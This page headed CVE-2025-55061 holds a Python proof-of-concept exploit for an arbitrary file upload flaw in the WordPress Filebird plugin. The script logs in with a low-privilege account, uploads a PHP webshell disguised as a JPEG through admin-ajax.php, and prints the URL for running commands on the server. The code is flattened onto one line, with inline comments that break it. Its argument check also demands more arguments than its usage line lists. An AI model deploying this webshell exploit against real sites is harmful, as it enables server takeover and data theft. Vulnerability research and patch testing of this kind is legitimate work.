CVE-2025-55061: WordPress Filebird插件任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-55061 PoC - WordPress Filebird Plugin Unrestricted File Upload This PoC demonstrates the arbitrary file upload vulnerability in Filebird plugin. """ import requests import sys def upload_webshell(target_url, username, password): """ Upload a PHP webshell via Filebird plugin vulnerable endpoint. Args: target_url: Base URL of the WordPress site username: WordPress username (low privilege account) password: WordPress password Returns: bool: True if upload successful, False otherwise """ # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Authenticating as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Upload malicious PHP file via Filebird endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # PHP webshell payload webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" files = { 'file': ('shell.php', webshell_content, 'image/jpeg') } data = { 'action': 'filebird_upload_file', 'post_id': '0' } print(f"[*] Uploading webshell via Filebird plugin...") resp = session.post(upload_url, files=files, data=data) if resp.status_code == 200 and 'shell.php' in resp.text: print("[+] Webshell uploaded successfully!") # Extract uploaded file path from response import re path_match = re.search(r'"url":"([^"]+)"', resp.text) if path_match: shell_url = path_match.group(1).replace('\\/', '/') print(f"[+] Webshell URL: {shell_url}") print(f"[+] Execute commands: {shell_url}?cmd=whoami") return True print("[-] Upload failed or target not vulnerable!") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] upload_webshell(target, user, pwd)